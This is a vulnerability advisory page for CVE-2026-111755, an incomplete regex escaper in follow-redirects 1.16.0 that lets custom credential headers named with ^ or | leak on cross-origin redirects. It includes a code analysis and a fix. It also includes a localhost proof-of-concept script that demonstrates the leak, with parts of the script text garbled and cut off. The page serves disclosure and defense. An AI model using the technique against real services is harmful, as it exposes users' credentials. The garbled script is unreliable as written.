Live › vulnerability › CVE-2026-111755
Go to dashboardfollow-redirects 1.16.0 builds its sensitiveHeaders strip filter with an incomplete regex escaper, so custom header names containing ^ or | are never stripped on cross-origin redirects. An attacker controlling a redirect target receives the declared credential header value in plaintext while the app believes it is protected.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| follow-redirects | npm | >= 1.16.0, < 1.16.1 | 1.16.1 |
npm ls follow-redirects (or check package-lock.json) and look for a version >= 1.16.0 and < 1.16.11.16.1 (npm update follow-redirects, or upgrade axios/other dependents that pull it in)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.
The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:
this._headerFilter = new RegExp("^(?:" +
sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
")$", "i");
escapeRegex at index.js:703-705:
function escapeRegex(regex) {
return regex.replace(/[\]\\/()*+?.$]/g, "\\$&"); // escapes ] \ / ( ) * + ? . $ -- NOT ^ | [ { }
}
The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, with , so and are the reachable vectors for a silent credential leak. Separately, although , , cannot appear as live header names, declaring a entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter throws a in the constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.
For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:
^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped.|, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.The generated filter source, reproduced from the exact library logic, is:
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.
Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.
Suggested remediation: two changes close both facets.
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }
This was verified to restore correct matching for all affected names while preserving the built-in matches.
beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this._headerFilter with a this._getHeaderFilter() that constructs the RegExp from the current this._options.sensitiveHeaders on each redirect.Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.
References:
Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.
Facet 1, metacharacter header names, leak.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // cross-origin (different port)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
collector.listen(45902, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 45901, path: "/",
headers: {
"X-Api^Key": "SECRET-LEAKED-1", // declared sensitive, name contains ^
: ,
: ,
:
},
: [, , ]
}, () {
body = ; res.(, () { body += c; });
res.(, () {
h = .(body);
.(, h[] || );
.(, h[] || );
.(, h[] || );
.(, h[] || );
redirector.(); collector.();
});
}).();
});
});
Observed output (1.16.0):
X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target
X-Control-Key : (strippe
This page as .md · .json · in your agent: get_signal("CVE-2026-111755")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.
}ERR_INVALID_HTTP_TOKEN^|[{}sensitiveHeadersRegExpSyntaxErrorRedirectableRequest